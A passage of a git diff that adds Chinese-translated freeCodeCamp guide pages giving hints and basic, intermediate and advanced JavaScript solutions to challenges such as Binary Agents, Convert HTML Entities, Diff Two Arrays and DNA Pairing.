+      for(var i = 0; i < args.length; ++i) { 
+          args[i] = arguments[i]; 
+        } 
+     //Check for the arguments length 
+     if(args.length == 2){ 
+        //If there are two arguments,check for the type of both arguments 
+        //Use typeof to check the type of the argument(both should be numbers) 
+        if(typeof args[0] !== 'number' || typeof args[1] !=='number' ){ 
+          return undefined; 
+          } 
+        return args[0]+args[1]; 
+       } 
+     //When only one argument is provided 
+     if(args.length == 1){ 
+         a= args[0]; 
+         //Check the  argument using typeof 
+        if(typeof a!=='number'){ 
+            return undefined; 
+          } 
+        else{ 
+           //Making use of closures 
+           return function(b){ 
+           //Checking the second argument 
+             if(typeof b !=='number'){ 
+               return undefined; 
+               } 
+             else 
+               return a+b; 
+              }; 
+          } 
+        } 
+    } 
+ 
+    // test here 
+    addTogether(2,3); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLoA/0)
+
+### 代码说明：
+
+*   首先使用构造函数方法创建数组，将参数存储在数组中。
+*   将每个参数添加到新数组。
+*   然后检查新阵列的长度，因为我们需要知道是否有足够的数据。
+*   使用`typeof`检查参数的类型，因为它们都应该是数字。
+*   如果它们中的任何一个不是数字，则返回undefined，如果它们是，则返回它们的总和。
+*   如果只有一个参数，我们仍然会在将其存储到新变量并返回新函数或未定义之后检查类型。
+
+#### 相关链接
+
+*   [类型](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)
+*   [参数对象](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+
+```javascript
+    //jshint esversion: 6 
+    function addTogether() { 
+      var args = Array.from(arguments); 
+      return args.some(n => typeof n !== 'number') ? 
+        undefined: 
+        args.length > 1 ? 
+          args.reduce((acc, n) => acc += n, 0): 
+          (n) => typeof n === "number" ? 
+            n + args[0]: 
+            undefined; 
+    } 
+ 
+    // test here 
+    addTogether(2,3); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLoB/0)
+
+### 代码说明：
+
+*   首先，我遍历参数并检查不是数字的参数并返回undefined
+*   如果不是我，那么检查参数长度是否大于1，如果是，我使用Array.prototype.reduce对参数求和
+*   否则我返回一个函数，检查传入的参数是否是一个数字并加总，如果没有返回undefined
+
+#### 相关链接
+
+*   [Array.prototype.reduce](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [Array.prototype.some](http://forum.freecodecamp.com/t/javascript-array-prototype-some/14304)
+*   [Array.from](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from)
+
+> **注意：**如果您已将任何**相关主要内容**添加到Wiki页面，请仅添加您的用户名。 （请不要删除任何现有的用户名。）
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/binary-agents/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/binary-agents/index.md
new file mode 100644
index 0000000000..82fa1944ed
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/binary-agents/index.md
@@ -0,0 +1,164 @@
+---
+title: Binary Agents
+localeTitle: 二元代理商
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/7/70cf3cc5462f69c2f770ad42d0f24f240a8d8f13.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+## 问题说明：
+
+这个问题非常简单，您将获得一个代表二进制代码中的句子的字符串，您需要将其翻译成单词。没有直接的方法，所以你必须翻译两次。
+
+### 相关链接
+
+*   [String.prototype.charCodeAt](http://forum.freecodecamp.com/t/javascript-string-prototype-charcodeat/15933)
+*   使用String.fromCharCode
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+在将这些值转换为字符之前，您应该先将**二进制**转换为**十进制** 。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+当关注较小的部分时，事情会变得更容易，将输入分成当前一个字母的焦点。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+确保每次将字符从二进制转码为十进制时，都会重置用于跟踪那些字符的变量。另外不要忘记把所有东西都变回一个字符串。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    function binaryAgent(str) { 
+      biString = str.split(' '); 
+      uniString = []; 
+ 
+    /*using the radix (or base) parameter in parseInt, we can convert the binary 
+      number to a decimal number while simultaneously converting to a char*/ 
+ 
+      for(i=0;i < biString.length;i++){ 
+        uniString.push(String.fromCharCode(parseInt(biString[i], 2))); 
+      } 
+ 
+      // we then simply join the string 
+      return uniString.join(''); 
+    } 
+ 
+    // test here 
+    binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnm/0)
+
+# 代码说明：
+
+*   将字符串分隔为由空格分隔的字符串数组。
+*   创建一些在整个过程中需要的变量，这些名称在很大程度上是自我解释的。
+*   遍历新数组中的每个二进制字符串。
+*   使用parseInt（ _binary_ ，2）转换为十进制（我们告诉第二个参数我们的数字当前是哪个基数）
+*   最后，我们返回转换后的消息。
+
+## 相关链接
+
+*   [String.prototype.split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [parseInt函数](http://forum.freecodecamp.com/t/javascript-parseint/14686)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+
+```javascript
+    function binaryAgent(str) { 
+      // Separate the binary code by space. 
+      str = str.split(' '); 
+      var power; 
+      var decValue = 0; 
+      var sentence = ''; 
+ 
+      // Check each binary number from the array. 
+      for (var s = 0; s < str.length; s++) { 
+        // Check each bit from binary number 
+        for (var t = 0; t < str[s].length; t++) { 
+          // This only takes into consideration the active ones. 
+          if (str[s][t] == 1) { 
+            // This is quivalent to 2 ** position 
+            power = Math.pow(2, +str[s].length - t - 1); 
+            decValue += power; 
+ 
+            // Record the decimal value by adding the number to the previous one. 
+          } 
+        } 
+ 
+        // After the binary number is converted to decimal, convert it to string and store 
+        sentence += (String.fromCharCode(decValue)); 
+ 
+        // Reset decimal value for next binary number. 
+        decValue = 0; 
+      } 
+ 
+      return sentence; 
+    } 
+ 
+    // test here 
+    binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLno/0)
+
+# 代码说明
+
+*   对于每个二进制字符串，检查1并忽略零。
+*   对于那些是一个或活跃的，然后将它们转换为十进制，这考虑了它需要被提升到的位置和正确的功率。
+*   通过将**功率**添加到变量**decValue**上的任何先前变量，将**功率**存储到**功率**变量中。此变量将添加并添加活动的幂，直到循环结束，然后返回十进制数。
+*   将内部循环外部的最终小数转换为ASCII，然后将其保存为**句子**以及已转换和存储的任何其他文本字符串。
+*   重置变量**decValue**以避免在继续外循环之前得到错误的小数。
+
+## 相关链接
+
+*   [Math.pow](http://forum.freecodecamp.com/t/javascript-math-pow/14685)
+*   string.length减
+*   [链接标题3](http://example.com)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+
+```javascript
+    function binaryAgent(str) { 
+      return String.fromCharCode(...str.split(" ").map(function(char){ return parseInt(char, 2); })); 
+    } 
+ 
+    // test here 
+    binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnp/0)
+
+# 代码说明
+
+*   首先，我们使用`split()`来处理每个字符作为Array元素
+*   然后使用`map()`使用`pareseInt()`将每个元素从二进制处理为十进制
+*   最后，我们可以使用`String.fromCharCode()`将每个ASCII编号转换为相应的字符
+*   但是`fromCharCode()`需要一系列数字而不是数组！我们可以使用ES6 Spread Operator将一组数字作为单独的数字传递。有关详情，请参阅此处; [传播运营商](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
+
+## 相关链接
+
+*   [Array.prototype.map](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/convert-html-entities/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/convert-html-entities/index.md
new file mode 100644
index 0000000000..99462ffd57
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/convert-html-entities/index.md
@@ -0,0 +1,154 @@
+---
+title: Convert HTML Entities
+localeTitle: 转换HTML实体
+---
+![HTML实体＆'<>“](//discourse-user-assets.s3.amazonaws.com/original/2X/f/fc44d1dfbd3910e574cdedb0f05162f65b4cb7c4.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+*   您必须创建一个程序，将HTML实体从字符串转换为相应的HTML实体。只有少数，所以你可以使用不同的方法。
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   您可以使用常规表达式，但在这种情况下我没有。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+*   您将受益于包含所有html实体的图表，以便您知道哪些是正确的。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+*   您应该将字符串分开并与每个字符一起使用以转换正确的字符然后将所有内容连接起来。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    function convertHTML(str) { 
+      // Split by character to avoid problems. 
+ 
+      var temp = str.split(''); 
+ 
+      // Since we are only checking for a few HTML elements I used a switch 
+ 
+      for (var i = 0; i < temp.length; i++) { 
+        switch (temp[i]) { 
+          case '<': 
+            temp[i] = '&lt;'; 
+            break; 
+          case '&': 
+            temp[i] = '&amp;'; 
+            break; 
+          case '>': 
+            temp[i] = '&gt;'; 
+            break; 
+          case '"': 
+            temp[i] = '&quot;'; 
+            break; 
+          case "'": 
+            temp[i] = "&apos;"; 
+            break; 
+        } 
+      } 
+ 
+      temp = temp.join(''); 
+      return temp; 
+    } 
+ 
+    //test here 
+    convertHTML("Dolce & Gabbana"); 
+```
+
+### 代码说明：
+
+在此解释解决方案并添加任何相关链接
+
+#### 相关链接
+
+*   [str.split（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
+*   [arr.join（）](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
+*   [切换声明](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Statements/switch)
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnP/0)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function convertHTML(str) { 
+ //Chaining of replace method with different arguments 
+  str = str.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;').replace(/"/g,'&quot;').replace(/'/g,"&apos;"); 
+ return str; 
+ } 
+ 
+ // test here 
+ convertHTML("Dolce & Gabbana"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnQ/0)
+
+### 代码说明：
+
+在此解释解决方案并添加任何相关链接
+
+#### 相关链接
+
+*   [str.replace（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace)
+*   [常用表达](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+
+```javascript
+    function convertHTML(str) { 
+      // Use Object Lookup to declare as many HTML entities as needed. 
+      htmlEntities={ 
+        '&':'&amp;', 
+        '<':'&lt;', 
+        '>':'&gt;', 
+        '"':'&quot;', 
+        '\'':"&apos;" 
+      }; 
+      //Use map function to return a filtered str with all entities changed automatically. 
+      return str.split('').map(entity => htmlEntities[entity] || entity).join(''); 
+    } 
+ 
+    // test here 
+    convertHTML("Dolce & Gabbana"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnR/0)
+
+### 代码说明：
+
+*   创建一个对象以使用查找功能轻松查找字符。
+*   按字符拆分原始字符串并使用map检查已更改的html实体或使用相同的html实体。或者你可以使用Regex `str.replace(/&|<|>|"|'/gi` 。
+*   如果没有转换，则添加一个返回转换实体或原始实体的函数。如果你去正则表达式路线然后你只需要返回匹配的命中。 `return html[entity];`
+*   最后，我们再次加入所有角色。
+
+**请注意** ，如果您使用正则表达式路线，那么您不需要加入任何内容，只需确保返回整个操作或将其保存到变量然后返回它。
+
+#### 相关链接
+
+*   [str.split（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
+*   [arr.map（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
+*   [arr.join（）](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/diff-two-arrays/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/diff-two-arrays/index.md
new file mode 100644
index 0000000000..a117a7ca40
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/diff-two-arrays/index.md
@@ -0,0 +1,151 @@
+---
+title: Diff Two Arrays
+localeTitle: 差分两个阵列
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/2/24043ff6eaf64c58ca15936ec29bd7c22809c9de.gif)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+检查两个数组并返回一个新数组，该数组仅包含不在任何一个原始数组中的项。
+
+#### 相关链接
+
+*   [for Loop（Devdocs）](https://devdocs.io/javascript/statements/for)
+*   [Array.prototype.includes（Devdocs）](https://devdocs.io/javascript/global_objects/array/includes)
+*   [Array.prototype.filter（Devdocs）](https://devdocs.io/javascript/global_objects/array/filter)
+*   [Array.prototype.concat（Devdocs）](https://devdocs.io/javascript/global_objects/array/concat)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+合并列表以便于比较功能。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+使用filter来获取新数组，您需要创建一个回调函数。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+回调函数的最佳方法是检查新合并数组中的数字是否不在**两个**原始数组中并返回它。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案（势在必行的解决方案）：
+
+```javascript
+    function diffArray(arr1, arr2) { 
+      var newArr = []; 
+ 
+      function onlyInFirst(first, second) { 
+      // Looping through an array to find elements that don't exist in another array 
+        for (var i=0;i<first.length;i++) { 
+          if (second.indexOf(first[i]) === -1) { 
+            // Pushing the elements unique to first to newArr 
+            newArr.push(first[i]); 
+          } 
+        } 
+      } 
+ 
+      onlyInFirst(arr1, arr2); 
+      onlyInFirst(arr2, arr1); 
+ 
+      return newArr; 
+    } 
+ 
+    diffArray([1, 2, 3, 5], [1, 2, 3, 4, 5]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLme/0)
+
+### 代码说明：
+
+阅读代码中的注释。
+
+#### 相关链接
+
+*   [for Loop（Devdocs）](https://devdocs.io/javascript/statements/for)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中间代码解决方案（声明解决方案）：
+
+```javascript
+    function diffArray(arr1, arr2) { 
+      return arr1 
+        .concat(arr2) 
+        .filter( 
+            item => !arr1.includes(item) || !arr2.includes(item) 
+        ) 
+    } 
+ 
+    diffArray([1, 2, 3, 5], [1, 2, 3, 4, 5]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CNYb/0)
+
+### 代码说明：
+
+在此解释解决方案并添加任何相关链接
+
+#### 相关链接
+
+*   [Array.prototype.concat（Devdocs）](https://devdocs.io/javascript/global_objects/array/concat)
+*   [Array.prototype.filter（Devdocs）](https://devdocs.io/javascript/global_objects/array/filter)
+*   [Array.prototype.includes（Devdocs）](https://devdocs.io/javascript/global_objects/array/includes)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案（声明解决方案）：
+```
+function diffArray(arr1, arr2) { 
+    return arr1 
+      .filter(el => !arr2.includes(el)) 
+      .concat( 
+        arr2.filter(el => !arr1.includes(el)) 
+      ) 
+ } 
+ 
+ diffArray([1, 2, 3, 5], [1, 2, 3, 4, 5]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CNYU/0)
+
+### 代码说明：
+
+在此解释解决方案并添加任何相关链接
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案替代（声明解决方案）：
+```
+function diffArray(arr1, arr2) { 
+  return [ 
+    ...diff(arr1, arr2), 
+    ...diff(arr2, arr1) 
+  ] 
+ 
+  function diff(a, b) { 
+    return a.filter(item => b.indexOf(item) === -1); 
+  } 
+ } 
+```
+
+#### 相关链接
+
+*   [Array.prototype.includes（Devdocs）](https://devdocs.io/javascript/global_objects/array/includes)
+*   [Array.prototype.filter（Devdocs）](https://devdocs.io/javascript/global_objects/array/filter)
+*   [Array.prototype.concat（Devdocs）](https://devdocs.io/javascript/global_objects/array/concat)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/dna-pairing/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/dna-pairing/index.md
new file mode 100644
index 0000000000..778eda2f49
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/dna-pairing/index.md
@@ -0,0 +1,142 @@
+---
+title: Dna Pairing
+localeTitle: Dna配对
+---
+![脱氧核糖核酸](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2798a83aaaa34ec2b18f4b8ec122b76c264a9d67.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+*   您将获得DNA链序列，您需要获得该对并将其作为碱基对的2D阵列返回。请记住，提供的链应始终是第一位的。
+    
+*   解释问题的另一种方法是：DNA中存在四个潜在的字符：“A”，“T”，“G”和“C”。 “A”和“T”总是配对在一起，“G”和“C”总是配对在一起。  
+    此问题为您提供输入，例如“ATCGA”。这五个角色中的每一个都缺少对子。  
+    例如，第一个字符“A”需要与“T”配对以给出数组元素\[“A”，“T”\]。  
+    第二个字符“T”需要与“A”配对以给出数组元素\[“T”，“A”\]。  
+    最终输出中的元素数等于输入中的字符数。
+    
+
+该问题不涉及将输入重新排列成不同的组合或排列。
+
+#### 相关链接
+
+*   [的Array.push（）](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [String.split（）](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   有两种基本情况，AT和CG，这两种情况都有。如果你能想到任何事情的陈述，你可以使用正则表达式。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+*   我建议使用开关，因为它使事情变得更顺畅。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+*   结果必须是一个数组数组，因此在推送时要记住这一点。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    function pairElement(str) { 
+      // Return each strand as an array of two elements, the original and the pair. 
+      var paired = []; 
+ 
+      // Function to check with strand to pair. 
+      var search = function(char) { 
+        switch (char) { 
+          case 'A': 
+            paired.push(['A', 'T']); 
+            break; 
+          case 'T': 
+            paired.push(['T', 'A']); 
+            break; 
+          case 'C': 
+            paired.push(['C', 'G']); 
+            break; 
+          case 'G': 
+            paired.push(['G', 'C']); 
+            break; 
+        } 
+      }; 
+ 
+      // Loops through the input and pair. 
+      for (var i = 0; i < str.length; i++) { 
+        search(str[i]); 
+      } 
+ 
+      return paired; 
+    } 
+ 
+    // test here 
+    pairElement("GCG"); 
